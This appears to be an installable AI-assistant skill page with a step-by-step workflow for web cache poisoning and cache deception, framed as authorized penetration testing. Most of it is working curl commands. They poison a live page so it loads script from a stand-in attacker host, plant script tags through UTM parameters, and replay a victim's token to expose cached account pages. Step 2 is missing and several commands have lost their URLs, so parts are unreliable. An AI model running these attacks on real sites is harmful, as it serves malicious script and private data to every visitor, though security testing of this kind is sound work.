Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.
During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
When assessing web applications for cache-based vulnerabilities that could affect all users
For testing whether unkeyed HTTP headers are reflected in cached responses
When evaluating cache key behavior and cache deception vulnerabilities
During security assessments of applications with aggressive caching policies
Prerequisites
Authorization: Written penetration testing agreement explicitly covering cache poisoning testing
Burp Suite Professional: With Param Miner extension for automated unkeyed header discovery
curl: For manual cache testing with precise header control
Target knowledge: Understanding of the caching layer (CDN provider, cache headers)
Cache buster: Unique query parameter to isolate test requests from other users
Caution: Cache poisoning affects all users; test with cache-busting parameters first
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Identify the Caching Layer and Behavior
Determine what caching infrastructure is in use and how the cache key is constructed.
# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"# Common cache indicators:# X-Cache: HIT / MISS# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)# Age: 120 (seconds since cached)# X-Varnish: 12345 67890 (Varnish)# Via: 1.1 varnish (Varnish/CDN proxy)# Determine cache key by testing variations# Cache key typically includes: Host + Path + Query string# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i
curl -s -I | grep -i
curl -s -I | grep -i
Step 3: Exploit Unkeyed Header for Cache Poisoning
Craft requests that poison cached responses with malicious content.
# Scenario: X-Forwarded-Host reflected in resource URLs# Normal response includes: <script src="https://target.example.com/app.js"># Poisoned: <script src="https://evil.example.com/app.js"># Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"# Step 2: Poison the actual cached page (WITHOUT cache buster)# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"# If evil.example.com appears, the cache is poisoned# Attack with X-Forwarded-Proto for HTTP downgrade
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?cb=unique456"# May cause cached response to include http:// links, enabling MitM# Attack with multiple headers
curl -s \
-H "X-Forwarded-Host: evil.example.com" \
-H "X-Forwarded-Proto: https" \
"https://target.example.com/?cb=unique789"
Step 4: Test Web Cache Deception
Trick the cache into storing authenticated responses for public URLs.
# Web Cache Deception attack# The cache caches based on file extension (.css, .js, .jpg)# If the application ignores path suffixes:# Step 1: As victim (authenticated), visit:# https://target.example.com/account/profile/nonexistent.css# If the application returns the profile page (ignoring .css suffix)# AND the cache stores it because of .css extension...# Test application path handling
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
"https://target.example.com/account/profile/test.css" | \
grep -i "email\|name\|balance"# Step 2: As attacker (unauthenticated), request:
curl -s "https://target.example.com/account/profile/test.css"# If victim's profile data is returned, cache deception is confirmed# Test various static extensionsfor ext in css js jpg png gif ico svg woff woff2 ttf; doecho -n ".$ext: "
curl -s -H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code} %{size_download}" \
"https://target.example.com/account/settings/x.$ext"echodone# Test path confusion patterns# /account/settings%2f..%2fstatic/style.css# /account/settings/..;/static/style.css# /account/settings;.css
Step 5: Test Parameter-Based Cache Poisoning
Exploit unkeyed query parameters or parameter parsing differences.
# Unkeyed parameter (parameter not in cache key but reflected)# Using UTM parameters that are often excluded from cache keys
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
grep "alert"# Parameter cloaking via parsing differences# Backend sees: callback=evil, Cache key ignores: callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"# Fat GET request (body in GET request)
curl -s -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "param=evil_value" \
"https://target.example.com/page?cb=$(date +%s)"# Cache key normalization differences# Some caches normalize query string order, some don't
curl -s "https://target.example.com/page?a=1&b=2"# Cached as key1
curl -s "https://target.example.com/page?b=2&a=1"# Same key? Or different?# Test port-based cache poisoning
curl -s -H "Host: target.example.com:1234" \
"https://target.example.com/?cb=$(date +%s)" | grep "1234"
Step 6: Validate Impact and Clean Up
Confirm the attack impact and ensure poisoned cache entries are cleared.
# Verify poisoned cache serves to other users# Use a different IP/User-Agent/session to verify
curl -s -H "User-Agent: CacheVerification" \
"https://target.example.com/" | grep "evil"# Check cache TTL to understand exposure window
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"# max-age=3600 means poisoned for 1 hour# Clean up: Force cache refresh# Some CDNs allow purging via API# Cloudflare: API call to purge cache# Varnish: PURGE method
curl -s -X PURGE "https://target.example.com/"# Or wait for TTL to expire# Document the cache poisoning window# Start time: when poison request was sent# End time: start time + max-age# Affected users: all users hitting the cached URL during the window
Key Concepts
Concept
Description
Cache Key
The set of request attributes (host, path, query) used to identify cached responses
Unkeyed Input
HTTP headers or parameters not included in the cache key but reflected in responses
Cache Poisoning
Injecting malicious content into cached responses that are served to other users
Cache Deception
Tricking the cache into storing authenticated/private responses as public content
Vary Header
HTTP header specifying which request headers should be included in the cache key
Cache Buster
A unique query parameter used to prevent affecting the real cache during testing
TTL (Time to Live)
Duration a cached response remains valid before being refreshed
Tools & Systems
Tool
Purpose
Burp Suite Professional
Request interception and cache behavior analysis
Param Miner (Burp Extension)
Automated discovery of unkeyed HTTP headers and parameters
Web Cache Vulnerability Scanner
Automated cache poisoning detection tool
curl
Manual HTTP request crafting with precise header control
Varnishlog
Varnish cache debugging and log analysis
CDN-specific tools
Cloudflare Analytics, Akamai Pragma headers for cache diagnostics
Common Scenarios
Scenario 1: X-Forwarded-Host Script Injection
The application reflects the X-Forwarded-Host header in script src URLs. This header is not part of the cache key. Sending a request with X-Forwarded-Host: evil.com poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.
Scenario 2: Web Cache Deception on Account Page
A Cloudflare-cached application ignores unknown path segments. Requesting /account/profile/logo.png returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.
Scenario 3: Parameter-Based XSS via Cache
UTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting <script> tags via utm_content parameter poisons the cache with stored XSS affecting all visitors.
Scenario 4: CDN Cache Poisoning via Host Header
Multiple applications are behind the same CDN. Manipulating the Host header causes the CDN to cache a response from one application under another application's cache key.
Output Format
## Web Cache Poisoning Finding
**Vulnerability**: Web Cache Poisoning via Unkeyed Header
**Severity**: High (CVSS 8.6)
**Location**: X-Forwarded-Host header on all pages
**OWASP Category**: A05:2021 - Security Misconfiguration
### Cache Configuration
| Property | Value |
|----------|-------|
| CDN/Cache | Cloudflare |
| Cache-Control | max-age=3600, public |
| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |
| Affected Pages | All HTML pages (/*.html) |
### Reproduction Steps
1. Send request with X-Forwarded-Host: evil.example.com
2. Response includes: <link href="https://evil.example.com/style.css">
3. This response is cached by Cloudflare for 3600 seconds
4. All subsequent visitors receive the poisoned response
### Impact
- JavaScript execution in all users' browsers (via poisoned script src)
- Credential theft, session hijacking, defacement
- Affects estimated 50,000 daily visitors during 1-hour cache window
- Can be re-poisoned continuously for persistent attack
### Recommendation
1. Include X-Forwarded-Host and similar headers in the cache key via Vary header
2. Do not reflect unkeyed headers in response content
3. Configure the cache to strip unknown headers before forwarding to origin
4. Use application-level hardcoded base URLs instead of deriving from headers
5. Implement cache key normalization to prevent key manipulation
